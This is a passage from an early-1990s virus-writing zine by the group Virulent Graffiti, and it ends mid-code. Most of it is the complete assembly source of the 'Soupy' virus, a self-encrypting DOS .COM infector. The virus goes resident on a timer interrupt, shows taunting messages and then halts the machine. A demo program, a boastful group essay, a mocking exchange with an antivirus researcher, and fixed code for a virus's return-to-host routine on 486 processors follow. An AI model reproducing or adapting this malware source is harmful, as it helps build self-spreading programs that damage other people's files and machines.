|||
|
|
|||
|
==========================================================================
|
|||
|
...and now me...
|
|||
|
|
|||
|
==========================================================================
|
|||
|
Virus Name: Soupy
|
|||
|
Aliases: Virus in Your Soup
|
|||
|
Author: The Attitude Adjuster & AccuPunk
|
|||
|
Group: Virulent Graffiti
|
|||
|
Scan ID:
|
|||
|
V Status: Frozen to Death
|
|||
|
Discovery: See, we were in this guy's disk box...
|
|||
|
Symptoms: .COM files altered; Messages;
|
|||
|
Orgin: West Bumblefuck, Ohio
|
|||
|
Eff Length: 1073 Bytes
|
|||
|
Res Length: 736 Bytes
|
|||
|
Type Code: Parasitic Non-Resident .COM Infector
|
|||
|
Detection Method:
|
|||
|
Removal Instructions: Delete infected files
|
|||
|
|
|||
|
General Comments:
|
|||
|
|
|||
|
The Soupy virus is a self-encrypting direct action infector
|
|||
|
of .COM programs. The virus, upon execution, will search the
|
|||
|
current directory for an uninfected .COM program. If none
|
|||
|
are found, the virus will restore the host file and continue
|
|||
|
execution.
|
|||
|
|
|||
|
The Soupy virus mantains an infection counter. When this counter
|
|||
|
reaches 11, the virus will check for a copy of itself in memory,
|
|||
|
and if not found, make itself the owner of INT 8 and go
|
|||
|
resident.
|
|||
|
|
|||
|
Approximately every 3 minutes, the virus will display the next
|
|||
|
of 7 messages, finally causing the machine to do a dynamic
|
|||
|
halt on the final message.
|
|||
|
|
|||
|
==========================================================================
|
|||
|
And, just to get the story straight, I wrote all the resident
|
|||
|
stuff out of boredom, and, the COM engine was what AccuPunk presented as
|
|||
|
his coding example to join the group. I just optomized the code, and added
|
|||
|
my residency, and I was ready to go...
|
|||
|
|
|||
|
This virus sucks... mainly because I didn't know enough back then,
|
|||
|
but, that has all changed...
|
|||
|
|
|||
|
==========================================================================
|
|||
|
; -] "Oh, waiter [- A virus to pay tribute to
|
|||
|
; ==] [== Anti-Virus Professionals Everywhere!
|
|||
|
; -] THERE'S [-
|
|||
|
; ] [
|
|||
|
; -] A [- Radyum's Little Son
|
|||
|
; ==] [==
|
|||
|
; -] VIRUS [-
|
|||
|
; ] [ We like Bob Ross, but, we like
|
|||
|
; -] IN MY [- ourselves a lot better.
|
|||
|
; ==] [==
|
|||
|
; -] SOUP!!!" [-
|
|||
|
;
|
|||
|
; An original virus by Accu-Punk and The Attitude Adjuster
|
|||
|
; of Virulent Graffiti (216/914/513/602)
|
|||
|
|
|||
|
; Greetz: Mom, My Modem, Accu-Punk, The Attitude Adjuster,
|
|||
|
; The Fly, Casper, Chief, Mercury, any other VG Member.
|
|||
|
|
|||
|
.model tiny
|
|||
|
.code ; code segment, tiny model -- CS = DS = ES = SS
|
|||
|
|
|||
|
ComStart EQU 100h
|
|||
|
|
|||
|
org 100h ; generate .COM file
|
|||
|
|
|||
|
entry:
|
|||
|
db 0e9h, 00, 00 ; Jmp decrypt
|
|||
|
|
|||
|
decrypt:
|
|||
|
mov si, offset start_code
|
|||
|
mov cx, (offset end_code - offset start_code)/2
|
|||
|
code_loop:
|
|||
|
db 81h, 34h, 0, 0 ; xor word ptr [bx],0
|
|||
|
lodsw
|
|||
|
loop code_loop
|
|||
|
|
|||
|
start_code: ; get delta
|
|||
|
call get_delta
|
|||
|
get_delta:
|
|||
|
pop bp
|
|||
|
sub bp, offset get_delta
|
|||
|
|
|||
|
xor ax, ax
|
|||
|
mov ds, ax
|
|||
|
|
|||
|
les ax, ds:[24h*4] ; Load Int 24 Entry
|
|||
|
|
|||
|
mov word ptr Cs:[offset I_24+2+bp], es ; Save it
|
|||
|
mov word ptr Cs:[offset I_24+bp], ax
|
|||
|
|
|||
|
lea dx, Cs:[offset int_24h_entry+bp] ; Place new one
|
|||
|
mov word ptr ds:[24h*4], dx
|
|||
|
mov word ptr ds:[92h], cs
|
|||
|
|
|||
|
push cs
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
pop es
|
|||
|
|
|||
|
cld ; Restore COM
|
|||
|
mov cx, 3
|
|||
|
mov di, 100h
|
|||
|
lea si, [bp+first_3]
|
|||
|
rep movsb
|
|||
|
|
|||
|
lea dx, [bp+newDTA] ; Set Up New DTA
|
|||
|
mov ah, 1ah
|
|||
|
int 21h
|
|||
|
|
|||
|
lea dx, [bp+com_mask] ; Find First *.COM
|
|||
|
mov ah, 4eh
|
|||
|
find_loop:
|
|||
|
mov cx, 7
|
|||
|
int 21h
|
|||
|
jc done_infecting ; If Error, Exit
|
|||
|
|
|||
|
mov ax, 3d00h ; Open File for Read
|
|||
|
lea dx, [bp+newDTA+1Eh]
|
|||
|
int 21h
|
|||
|
jc find_next ; Find another
|
|||
|
|
|||
|
xchg ax, bx ; Handle in BX
|
|||
|
|
|||
|
mov ah, 3fh ; Read File
|
|||
|
mov cx, 3
|
|||
|
lea dx, [bp+buffer]
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ah, 3eh
|
|||
|
int 21h
|
|||
|
|
|||
|
cmp word ptr [bp+newDTA+1Eh], 'OC' ; Command.Com?
|
|||
|
je find_next
|
|||
|
|
|||
|
cmp word ptr [bp+newDTA+1Ah], (65535-(heap_end - start_code))
|
|||
|
ja find_next ; too big
|
|||
|
|
|||
|
cmp word ptr [bp+newDTA+1Ah], 300h
|
|||
|
jb find_next ; too little bitty
|
|||
|
|
|||
|
mov ax, word ptr [bp+newDTA+1Ah]
|
|||
|
push ax
|
|||
|
sub ax, (end_code - decrypt) + 3 ; correct JMP
|
|||
|
cmp ax, word ptr [bp+buffer+1]
|
|||
|
je find_next ; not to end!
|
|||
|
jmp infect
|
|||
|
|
|||
|
find_next:
|
|||
|
mov ah, 4fh
|
|||
|
jmp find_loop
|
|||
|
|
|||
|
done_infecting:
|
|||
|
mov ah, 1ah
|
|||
|
mov dx, 0080h
|
|||
|
int 21h ; set up old DTA
|
|||
|
|
|||
|
pop ax
|
|||
|
|
|||
|
xor ax,ax
|
|||
|
push ax
|
|||
|
pop ds
|
|||
|
les ax, ds:[08h*4]
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
|
|||
|
mov word ptr [Old08+Bp], Ax
|
|||
|
mov word ptr [Old08+2+Bp], Es
|
|||
|
add ax, ((GetOut-1)-Int_08_Handler)
|
|||
|
mov bx, ax
|
|||
|
cmp word ptr Es:[Bx], 0EA58h
|
|||
|
je quit
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
|
|||
|
cmp byte ptr [Counter+Bp], 0ah
|
|||
|
jle quit
|
|||
|
|
|||
|
lea Si, [Offset Int_08_Handler+Bp] ; copy us
|
|||
|
mov Di, 0100h
|
|||
|
mov Cx, Offset End_Handler-Offset Int_08_Handler
|
|||
|
rep MovSb
|
|||
|
|
|||
|
xor ax, ax ; interrupt table
|
|||
|
mov ds, ax
|
|||
|
cli
|
|||
|
mov ax, 100h
|
|||
|
mov word ptr Ds:[08h*4], ax
|
|||
|
mov word ptr Ds:[08h*4+2], cs
|
|||
|
sti
|
|||
|
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
push cs
|
|||
|
|
|||
|
mov ah, 49h ; Deallocate Env.
|
|||
|
mov bx, word ptr cs:[02ch]
|
|||
|
mov es, bx
|
|||
|
int 21h
|
|||
|
pop es
|
|||
|
|
|||
|
Mov ah, 9
|
|||
|
Lea dx, [Offset Bullshit+Bp]
|
|||
|
Int 21h
|
|||
|
|
|||
|
Mov Ax, 3100h
|
|||
|
mov Dx, (((Offset End_Handler-Offset Int_08_Handler)+100h) / 16) + 1
|
|||
|
Int 21h
|
|||
|
Int 20h
|
|||
|
|
|||
|
Quit:
|
|||
|
xor ax, ax
|
|||
|
mov ds, ax
|
|||
|
|
|||
|
mov bx, word ptr Cs:[offset I_24+bp]
|
|||
|
mov es, word ptr Cs:[offset I_24+2+bp]
|
|||
|
|
|||
|
mov word ptr ds:[24h*4], bx ; Restore int 24h
|
|||
|
mov word ptr ds:[24h*4+2], es
|
|||
|
|
|||
|
push cs
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
pop es
|
|||
|
|
|||
|
mov dx, 100h ; We Are Done!
|
|||
|
jmp dx
|
|||
|
|
|||
|
infect:
|
|||
|
cld
|
|||
|
lea si, [bp+buffer]
|
|||
|
lea di, [bp+first_3]
|
|||
|
push si
|
|||
|
mov cx, 3
|
|||
|
rep movsb ; save original first three bytes
|
|||
|
pop di ; now we write to the buffer...
|
|||
|
mov al, 0e9h ; change first three bytes of target file
|
|||
|
stosb ; to jump to the end, which will be the
|
|||
|
pop ax ; first byte of the viral code.
|
|||
|
sub ax, 3 ; correct for the jump opcode size
|
|||
|
stosw ; and put the displacement at [DI].
|
|||
|
|
|||
|
xor cx, cx
|
|||
|
lea dx, [bp+newDTA+1Eh]
|
|||
|
mov ax, 4301h ; set attributes to nothing
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ah, 3dh
|
|||
|
mov al, 2 ; read/write
|
|||
|
int 21h
|
|||
|
xchg ax,bx ; ok, we're gonna be boring and use XCHG
|
|||
|
|
|||
|
mov ah, 40h ; bx = filehandle
|
|||
|
mov cx, 3
|
|||
|
lea dx, [bp+buffer]
|
|||
|
int 21h ; write 3 bytes at buffer to file
|
|||
|
|
|||
|
mov ax, 4202h ; LSEEK from end of file
|
|||
|
xor cx, cx ; seek 0 bytes from end
|
|||
|
xor dx, dx ; set up for copying the virus
|
|||
|
int 21h
|
|||
|
|
|||
|
push bx
|
|||
|
get_new_code: ; get new encryption word
|
|||
|
mov bx, 40h
|
|||
|
mov es, bx
|
|||
|
mov bx, 6Ch
|
|||
|
mov dx, word ptr es:[bx] ; dx = encryption_word
|
|||
|
or dx, dx ; dx == 0? (no effect)
|
|||
|
jz get_new_code ; nah, get a new one
|
|||
|
mov word ptr [bp+code_loop+2], dx
|
|||
|
pop bx
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
|
|||
|
copy_code:
|
|||
|
cld
|
|||
|
push ax
|
|||
|
|
|||
|
lea di, [bp+temp]
|
|||
|
mov al, 53h ; push bx
|
|||
|
stosb
|
|||
|
|
|||
|
lea si, [bp+decrypt]
|
|||
|
mov cx, start_code-decrypt ; copy the code unaltered first
|
|||
|
push si
|
|||
|
push cx
|
|||
|
rep movsb ; copy decrypt
|
|||
|
lea si, [bp+write]
|
|||
|
mov cx, end_write-write
|
|||
|
rep movsb ; copy write
|
|||
|
pop cx
|
|||
|
pop si
|
|||
|
rep movsb ; copy decrypt again
|
|||
|
mov ax, 0C35Bh ; POP BX, retn
|
|||
|
stosw
|
|||
|
pop ax ; ax = filesize
|
|||
|
|
|||
|
patch_bx_offset:
|
|||
|
mov dx, word ptr [bp+decrypt+1] ; dx = offset start_code rel 100h
|
|||
|
sub dx, bp
|
|||
|
sub dx, 3
|
|||
|
add dx, ax ; add filesize to offset
|
|||
|
mov word ptr [bp+decrypt+1], dx ; patch it
|
|||
|
|
|||
|
inc byte ptr [bp+counter]
|
|||
|
call temp
|
|||
|
|
|||
|
finish_infection:
|
|||
|
mov ax, 5701h
|
|||
|
mov cx, word ptr [bp+newDTA+16h] ; cx = file time
|
|||
|
mov dx, word ptr [bp+newDTA+18h] ; dx = file date
|
|||
|
int 21h
|
|||
|
xor cx, cx
|
|||
|
mov ax, 4301h
|
|||
|
mov cl, byte ptr [bp+newDTA+15h] ; cl = attributes
|
|||
|
lea dx, [bp+newDTA+1Eh]
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ah, 3eh
|
|||
|
int 21h
|
|||
|
jmp done_infecting
|
|||
|
|
|||
|
write:
|
|||
|
pop bx
|
|||
|
mov ah, 40h
|
|||
|
mov cx, end_code - decrypt
|
|||
|
lea dx, [bp+decrypt]
|
|||
|
int 21h
|
|||
|
push bx
|
|||
|
end_write:
|
|||
|
|
|||
|
Int_24h_Entry Proc Far
|
|||
|
Mov Ax, 3 ; Process Terminate
|
|||
|
Iret ; Do a LOT, Eh?
|
|||
|
EndP
|
|||
|
|
|||
|
Int_08_Handler Proc Far
|
|||
|
Push Ax
|
|||
|
Push Bx
|
|||
|
Push Cx
|
|||
|
Push Dx
|
|||
|
Push Si
|
|||
|
Push Di
|
|||
|
Push Bp
|
|||
|
Push Es
|
|||
|
Push Ds
|
|||
|
|
|||
|
Dec Word Ptr Cs:[TCounter]
|
|||
|
Jz Do_It
|
|||
|
|
|||
|
LeaveRite:
|
|||
|
Pop Ds
|
|||
|
Pop Es
|
|||
|
Pop Bp
|
|||
|
Pop Di
|
|||
|
Pop Si
|
|||
|
Pop Dx
|
|||
|
Pop Cx
|
|||
|
Pop Bx
|
|||
|
Pop Ax
|
|||
|
|
|||
|
GetOut:
|
|||
|
Db 0eah ; JMP Far PTR
|
|||
|
Old08 Dd ?
|
|||
|
|
|||
|
_Iet Db 1
|
|||
|
_Counter Dw 1092
|
|||
|
|
|||
|
Do_It:
|
|||
|
Push Cs
|
|||
|
Push Cs
|
|||
|
Pop Es
|
|||
|
Pop Ds
|
|||
|
|
|||
|
Mov Word Ptr Cs:[TCounter], 1092
|
|||
|
|
|||
|
Mov Si, Start_Chain
|
|||
|
Xor Cx, Cx
|
|||
|
Mov Cl, Byte Ptr Cs:[Iet]
|
|||
|
Xor Ax, Ax
|
|||
|
Chain_Loop:
|
|||
|
LodSb
|
|||
|
Add Si, Ax
|
|||
|
Loop Chain_Loop
|
|||
|
|
|||
|
LodSb
|
|||
|
Xor Cx, Cx
|
|||
|
Mov Cl, Al
|
|||
|
|
|||
|
XChg Bp, Si
|
|||
|
Mov Ah, 0fh
|
|||
|
Int 10h
|
|||
|
|
|||
|
Mov Ax, 1300h
|
|||
|
Mov Bx, 000Fh
|
|||
|
Xor Dx, Dx
|
|||
|
Int 10h
|
|||
|
Inc Byte Ptr Cs:[Iet]
|
|||
|
Mov Cx, 50
|
|||
|
C2:
|
|||
|
Push Cx
|
|||
|
Mov Cx, 0ffffh
|
|||
|
RP:
|
|||
|
Loop RP
|
|||
|
Pop Cx
|
|||
|
Loop C2
|
|||
|
|
|||
|
Cmp Byte Ptr Cs:[Iet], 8
|
|||
|
Je Quonto
|
|||
|
Jmp LeaveRite
|
|||
|
Quonto:
|
|||
|
Cli
|
|||
|
Jmp $
|
|||
|
EndP
|
|||
|
|
|||
|
_Start_Chain:
|
|||
|
db 0
|
|||
|
db 30, 'Unsuspecting user, 12 o''clock!'
|
|||
|
db 52, 'Get ready... ''cause... THERE''S A VIRUS IN YOUR SOUP!'
|
|||
|
db 66, 'From the guys that brought you Lythyum, Radyum, and VioLite comes:'
|
|||
|
db 61, 'The Soupy Virus, (k) 1992 VG Enterprises, 216/513/602/914/703'
|
|||
|
db 36, 'By The Attitude Adjuster & AccuPunk!'
|
|||
|
db 62, 'Hurry! Hire an Anti-Virus Professional! Increase Wallet Space!'
|
|||
|
db 43, '...hmmm, ya'' know, I think I''ll halt now...'
|
|||
|
|
|||
|
_End_Chain:
|
|||
|
Start_Chain = (_Start_Chain - Int_08_Handler) + 100h
|
|||
|
End_Chain = (_End_Chain - Int_08_Handler) + 100h
|
|||
|
Iet = (_Iet - Int_08_Handler) + 100h
|
|||
|
TCounter = (_Counter - Int_08_Handler) +100h
|
|||
|
End_Handler:
|
|||
|
|
|||
|
; DATA SPACE
|
|||
|
|
|||
|
name_date db 00,'[Soupy] The Attitude Adjuster & AccuPunk, VG',00
|
|||
|
db '08/23/92 to 12/02/92',00
|
|||
|
first_3 db 0CDh, 20h, 90h ; put return to dos opcodes at 100h
|
|||
|
com_mask db '*.COM',0
|
|||
|
counter db 0
|
|||
|
BullShit db 'Bad command or file name',0dh,0ah,'$'
|
|||
|
end_code = $ ; end of encryption and writing...
|
|||
|
|
|||
|
buffer db 3 dup (?)
|
|||
|
newDTA db 50 dup (?)
|
|||
|
I_24 dd ?
|
|||
|
temp: db ((start_code - decrypt)*2 + (end_write-write) + 5) dup (?)
|
|||
|
|
|||
|
heap_end = $ ; marks end of heap
|
|||
|
|
|||
|
end entry
|
|||
|
==========================================================================
|
|||
|
; Very shitty and hurredly written stand alone demonstration for the Soupy
|
|||
|
; virus, By The Attitude Adjuster.
|
|||
|
|
|||
|
; Assemble with:
|
|||
|
; tasm sbomb /m2
|
|||
|
; tlink sbomb /t
|
|||
|
|
|||
|
; Wait for the messages! No delays have been removed!
|
|||
|
|
|||
|
.model tiny
|
|||
|
.code
|
|||
|
|
|||
|
org 100h
|
|||
|
entry:
|
|||
|
mov ax, 3508h
|
|||
|
int 21h
|
|||
|
|
|||
|
mov word ptr [Old08], Bx
|
|||
|
mov word ptr [Old08+2], Es
|
|||
|
add ax, ((GetOut-1)-Int_08_Handler)
|
|||
|
mov bx, ax
|
|||
|
cmp word ptr Es:[Bx], 0EA58h
|
|||
|
je quit
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
|
|||
|
mov dx, offset Int_08_Handler
|
|||
|
mov ax, 2508h
|
|||
|
int 21h
|
|||
|
|
|||
|
Mov ah, 9
|
|||
|
Lea dx, [Offset Bullshit+Bp]
|
|||
|
Int 21h
|
|||
|
|
|||
|
mov Dx, Offset Heap_End
|
|||
|
Int 27h
|
|||
|
Quit:
|
|||
|
Int 20h
|
|||
|
|
|||
|
Int_08_Handler Proc Far
|
|||
|
Push Ax
|
|||
|
Push Bx
|
|||
|
Push Cx
|
|||
|
Push Dx
|
|||
|
Push Si
|
|||
|
Push Di
|
|||
|
Push Bp
|
|||
|
Push Es
|
|||
|
Push Ds
|
|||
|
|
|||
|
Dec Word Ptr Cs:[Counter]
|
|||
|
Jz Do_It
|
|||
|
|
|||
|
LeaveRite:
|
|||
|
Pop Ds
|
|||
|
Pop Es
|
|||
|
Pop Bp
|
|||
|
Pop Di
|
|||
|
Pop Si
|
|||
|
Pop Dx
|
|||
|
Pop Cx
|
|||
|
Pop Bx
|
|||
|
Pop Ax
|
|||
|
|
|||
|
GetOut:
|
|||
|
Db 0eah ; JMP Far PTR
|
|||
|
Old08 Dd ?
|
|||
|
|
|||
|
Iet Db 1
|
|||
|
Counter Dw 1092
|
|||
|
|
|||
|
Do_It:
|
|||
|
Push Cs
|
|||
|
Push Cs
|
|||
|
Pop Es
|
|||
|
Pop Ds
|
|||
|
|
|||
|
Mov Word Ptr Cs:[Counter], 1092
|
|||
|
|
|||
|
Mov Si, Offset Start_Chain
|
|||
|
Xor Cx, Cx
|
|||
|
Mov Cl, Byte Ptr Cs:[Iet]
|
|||
|
Xor Ax, Ax
|
|||
|
Chain_Loop:
|
|||
|
LodSb
|
|||
|
Add Si, Ax
|
|||
|
Loop Chain_Loop
|
|||
|
|
|||
|
LodSb
|
|||
|
Xor Cx, Cx
|
|||
|
Mov Cl, Al
|
|||
|
|
|||
|
XChg Bp, Si
|
|||
|
Mov Ah, 0fh
|
|||
|
Int 10h
|
|||
|
|
|||
|
Mov Ax, 1300h
|
|||
|
Mov Bx, 000Fh
|
|||
|
Xor Dx, Dx
|
|||
|
Int 10h
|
|||
|
Inc Byte Ptr Cs:[Iet]
|
|||
|
Mov Cx, 50
|
|||
|
C2:
|
|||
|
Push Cx
|
|||
|
Mov Cx, 0ffffh
|
|||
|
RP:
|
|||
|
Loop RP
|
|||
|
Pop Cx
|
|||
|
Loop C2
|
|||
|
|
|||
|
Cmp Byte Ptr Cs:[Iet], 8
|
|||
|
Je Quonto
|
|||
|
Jmp LeaveRite
|
|||
|
Quonto:
|
|||
|
Cli
|
|||
|
Jmp $
|
|||
|
EndP
|
|||
|
|
|||
|
Start_Chain:
|
|||
|
db 0
|
|||
|
db 30, 'Unsuspecting user, 12 o''clock!'
|
|||
|
db 52, 'Get ready... ''cause... THERE''S A VIRUS IN YOUR SOUP!'
|
|||
|
db 66, 'From the guys that brought you Lythyum, Radyum, and VioLite comes:'
|
|||
|
db 61, 'The Soupy Virus, (k) 1992 VG Enterprises, 216/513/602/914/703'
|
|||
|
db 36, 'By The Attitude Adjuster & AccuPunk!'
|
|||
|
db 62, 'Hurry! Hire an Anti-Virus Professional! Increase Wallet Space!'
|
|||
|
db 43, '...hmmm, ya'' know, I think I''ll halt now...'
|
|||
|
End_Chain:
|
|||
|
End_Handler:
|
|||
|
|
|||
|
BullShit db 'Bad command or file name',0dh,0ah,'$'
|
|||
|
end_code = $ ; end of encryption and writing...
|
|||
|
|
|||
|
heap_end = $ ; marks end of heap
|
|||
|
|
|||
|
end entry
|
|||
|
==========================================================================
|
|||
|
=======================
|
|||
|
Rapidly Approaching
|
|||
|
By The Attitude Adjuster
|
|||
|
=======================
|
|||
|
|
|||
|
Virulent Graffiti is rapidly approaching 1 year of life, amazing
|
|||
|
that we could hold together that long, eh? We actually survived the summer,
|
|||
|
the return of the school year... the fact that we were doing nothing, and
|
|||
|
an abrupt name change, VG to VGVPO.
|
|||
|
|
|||
|
Actually, I am approaching the 1 year mark on learning 80x86
|
|||
|
assembly... quite strange, a year later, to look back that the total shit
|
|||
|
code that I was doing in WASM, and to see some of the things I was doing,
|
|||
|
and actually calling viruses!
|
|||
|
|
|||
|
On the personal level, I am quite happy with myself, and greatful
|
|||
|
of the people like the Dark Avenger, Dark Angel, and others that have the
|
|||
|
know-how and desire to help teach the world about virus writing. I am
|
|||
|
amazed at the progress that I have made myself, both in virus writing, and
|
|||
|
in programming in general... and especially that I have the highest poster
|
|||
|
status on Digital Warfare Private (at least, when I wrote this...)
|
|||
|
|
|||
|
On the group level, I feel deflated, but good... an idea that was
|
|||
|
pushed onto me by The Fly, on March 14th, 1992, becoming the semi-large
|
|||
|
thing that it has become today... really nice, if you ask me, but, then
|
|||
|
again, who does...
|
|||
|
|
|||
|
Now comes the question of what I'm going to do this year... We have
|
|||
|
lots of things waiting in the wings for that little extra push to get them
|
|||
|
going... a sub-stealth virus, a multipartite virus, and a little code
|
|||
|
generator (not for generating viruses, but, for generating dazzingly boring
|
|||
|
encryption and decryption routines, without actaully being a polymorphing
|
|||
|
engine!)... hopefully, little side projects I have, like loaders, sound
|
|||
|
routines, and such will fall into place, and we can grab a little ground in
|
|||
|
the demo-group world as well...
|
|||
|
|
|||
|
Big ideas for a kid from a small town in Ohio, eh? Maybe... maybe
|
|||
|
not... Certainly, in Telcom, no one is there to ask my age, or for my
|
|||
|
college degree... all I need to do is whip out a little code, throw the
|
|||
|
reputation around a little... wire them a couple hund- err, you get what I
|
|||
|
mean... It's all open to us, sounds fun, eh?
|
|||
|
|
|||
|
Damn straight it is...
|
|||
|
========================
|
|||
|
The Confusion Ended?
|
|||
|
By The Attitude Adjuster
|
|||
|
========================
|
|||
|
|
|||
|
In the end, we decided it would better if we began releasing our
|
|||
|
research viruses to anti-virus professionals (bah!). I called Patricia
|
|||
|
Hoffman's board, cringing at the thought of... Wildcat! (it just isn't
|
|||
|
right without the !). I construct an account, promptly forgetting the
|
|||
|
password I assigned to it, and, uploaded our old and useless COM infectors.
|
|||
|
|
|||
|
After the gloriously short upload (9600 is great...), I left Patti
|
|||
|
this little letter...
|
|||
|
|
|||
|
===========================================================================
|
|||
|
From : T.A. ADJUSTER Number : 52 of 59
|
|||
|
To : PATRICIA HOFFMAN Date : 01/17/93 6:01pm
|
|||
|
Subject : Uploads Reference : NONE
|
|||
|
Read : 01/18/93 12:11pm (REPLIES) Private : NO
|
|||
|
Conf : 002 - Virus Q & A (Open Msgs)
|
|||
|
|
|||
|
I have uploaded to you some OLD VG viruses, as we are now doing TSR
|
|||
|
COM/EXE infectors. Hopefully, when we move on to boot infectors, we
|
|||
|
will remember to upload those here as well.
|
|||
|
|
|||
|
In the meantime, please send these to whoever does research work for
|
|||
|
you, as I'm sure it can't be you, I mean, you don't even know your own
|
|||
|
name.
|
|||
|
|
|||
|
Anyway, they all have DOC files with them, that are totally correct,
|
|||
|
though I may have 'forgot' and left out a couple of features. None of
|
|||
|
these viruses are intentionally distructive, just loads and loads of
|
|||
|
fun.
|
|||
|
|
|||
|
Anyway, if you want to be the index of ALL viruses, you better move to
|
|||
|
place these in the index, as they are on our support boards, and can be
|
|||
|
downloaded and placed active by anyone, though we as a group will not
|
|||
|
release viruses into the wild.
|
|||
|
|
|||
|
I thought I had an account on here earlier. Yeesh, I hope you didn't
|
|||
|
delete it... anyway, I'd like to ask that you keep my account live, as
|
|||
|
I enjoy downloading your fine VSUM publication. VG is too poor to
|
|||
|
afford to register it, however. Could we get, maybe, a charity
|
|||
|
subscription?
|
|||
|
|
|||
|
|
|||
|
The Attitude Adjuster
|
|||
|
===========================================================================
|
|||
|
|
|||
|
So... a few days later, I note this reply, when I log in to see if
|
|||
|
the new VSUM is out yet...
|
|||
|
|
|||
|
===========================================================================
|
|||
|
From : PATRICIA HOFFMAN Number : 54 of 59
|
|||
|
To : T.A. ADJUSTER Date : 01/18/93 12:15pm
|
|||
|
Subject : Uploads Reference : 52
|
|||
|
Read : NO Private : NO
|
|||
|
Conf : 002 - Virus Q & A (Open Msgs)
|
|||
|
|
|||
|
Well, the only time I don't know my own name is when someone calls the
|
|||
|
wrong "Patricia Hoffman" because they got the phone number from
|
|||
|
Information or the phone book. My home phone number is unlisted, but
|
|||
|
there are a couple of other Patricia Hoffman's in Silicon Valley as
|
|||
|
well. If you are referring to a certain conference call of about 9-10
|
|||
|
months ago when 13 or so young men tried to contact me, they called the
|
|||
|
WRONG Patricia Hoffman..... I was at home reading a novel, and didn't
|
|||
|
know about the call until McAfee called and asked why I didn't speak to
|
|||
|
the "young men".
|
|||
|
===========================================================================
|
|||
|
|
|||
|
Well... interesting... the truth? Who knows... I'd kind of like to
|
|||
|
talk to her, regardless... I just have nothing that dials alliance, and I
|
|||
|
really would like to share the experience with others...
|
|||
|
===============================
|
|||
|
'Shit... What's wrong NOW!'
|
|||
|
By The Attitude Adjuster
|
|||
|
===============================
|
|||
|
|
|||
|
(Written in early January, pre-VioLite ][ and DWI release.)
|
|||
|
|
|||
|
So, AccuPunk and I are hard at work, coding litle bits of drivel,
|
|||
|
and our two main projects, DWI and VioLite ][. For some strange reason,
|
|||
|
these viruses refused to work. We spent many hours in our protected-mode
|
|||
|
debuggers tracking down the cause, but, it was finally my genius, and a
|
|||
|
little work in DOS Debug that saved the day.
|
|||
|
|
|||
|
The virus engines worked fine, the resident code in DWI being
|
|||
|
okay, and the file-location code in VioLite2 being dandy. When traced thru
|
|||
|
in both SoftIce and Debug, the viruses would work, but, yet, when ran from
|
|||
|
a command line, or let loose with a Go instruction, my machine would crash
|
|||
|
a horrible GPF death, while AccuPunk's would not. He has a 386DX, I have
|
|||
|
a new 486SX, this is the key.
|
|||
|
|
|||
|
Here is the root of the problem.
|
|||
|
|
|||
|
===========================================================================
|
|||
|
Taken from 'An Introduction to Non-Overwriting Virii,' 40Hex-8
|
|||
|
|
|||
|
mov ax,es ; AX = PSP segment
|
|||
|
add ax,10h ; Adjust for PSP
|
|||
|
add word ptr cs:[si+jmpsave+2],ax
|
|||
|
add ax,word ptr cs:[si+stacksave+2]
|
|||
|
cli ; Clear intrpts for stack manip.
|
|||
|
mov sp,word ptr cs:[si+stacksave]
|
|||
|
mov ss,ax
|
|||
|
sti
|
|||
|
db 0eah ; jmp ssss:oooo
|
|||
|
jmpsave dd ? ; Original CS:IP
|
|||
|
stacksave dd ? ; Original SS:SP
|
|||
|
jmpsave2 dd 0fff00000h ; Needed for carrier file
|
|||
|
stacksave2 dd ?
|
|||
|
===========================================================================
|
|||
|
|
|||
|
We were using this clip of DA code, mainly because it was the Right
|
|||
|
Thing, and why try and improve on perfection. Alas, this code is the root
|
|||
|
of all the problems.
|
|||
|
|
|||
|
I assemble the following code:
|
|||
|
|
|||
|
===========================================================================
|
|||
|
.model tiny
|
|||
|
.code
|
|||
|
org 100h
|
|||
|
|
|||
|
start:
|
|||
|
mov byte ptr [start], 0cch ; place int 3 at 100h
|
|||
|
|
|||
|
mov ax, cs ; codeseg in ax
|
|||
|
|
|||
|
add word ptr [JumpAdd+2], ax ; add to jmp far ptr
|
|||
|
|
|||
|
db 0eah
|
|||
|
JumpAdd dd 00000100h ; cs:0100
|
|||
|
|
|||
|
end start
|
|||
|
===========================================================================
|
|||
|
|
|||
|
It crashes miserably on my machine, but not on my 8086. I now know
|
|||
|
why. Hurredly, I recoded the thing to look like this:
|
|||
|
|
|||
|
===========================================================================
|
|||
|
.model tiny
|
|||
|
.code
|
|||
|
org 100h
|
|||
|
|
|||
|
start:
|
|||
|
mov byte ptr [start], 0cch ; place int 3 at 100h
|
|||
|
|
|||
|
mov ax, cs ; codeseg in ax
|
|||
|
|
|||
|
add word ptr [JumpAdd+2], ax ; add to jmp far ptr
|
|||
|
|
|||
|
jmp short aftajump
|
|||
|
|
|||
|
PreJump:
|
|||
|
db 0eah
|
|||
|
JumpAdd dd 00000100h ; cs:0100
|
|||
|
AftaJump:
|
|||
|
jmp short prejump
|
|||
|
|
|||
|
end start
|
|||
|
===========================================================================
|
|||
|
|
|||
|
This time, the code works, I have my cuprit, my processor, and it's
|
|||
|
blasted 25 byte prefetch.
|
|||
|
|
|||
|
Let me explain. When we affected the JMP FAR offset in memory, we
|
|||
|
did not affect it in the processor, which pre-fetches the next 25 bytes in
|
|||
|
memory. The JMP around the code causes the prefetch to be reloaded, and
|
|||
|
allows the jump to work.
|
|||
|
|
|||
|
So, this means, an entire group of viruses will not work on newer hi
|
|||
|
end machines. I tested this, all viruses I ran that had the DA engine in
|
|||
|
them crashed and burned on every 486 that I tested them on. Any 80486 that
|
|||
|
is exactly Intel specs (and they all will be for a while, as only Intel is
|
|||
|
making them) will crash on this code.
|
|||
|
|
|||
|
The solution? Here's mine, it may not be pretty, but, it works.
|
|||
|
|
|||
|
===========================================================================
|
|||
|
mov ax,es ; AX = PSP segment
|
|||
|
add ax,10h ; Adjust for PSP
|
|||
|
add word ptr cs:[si+stacksave+2], ax
|
|||
|
|
|||
|
cli ; Clear intrpts for stack manip.
|
|||
|
mov sp,word ptr cs:[si+stacksave]
|
|||
|
mov ss,ax
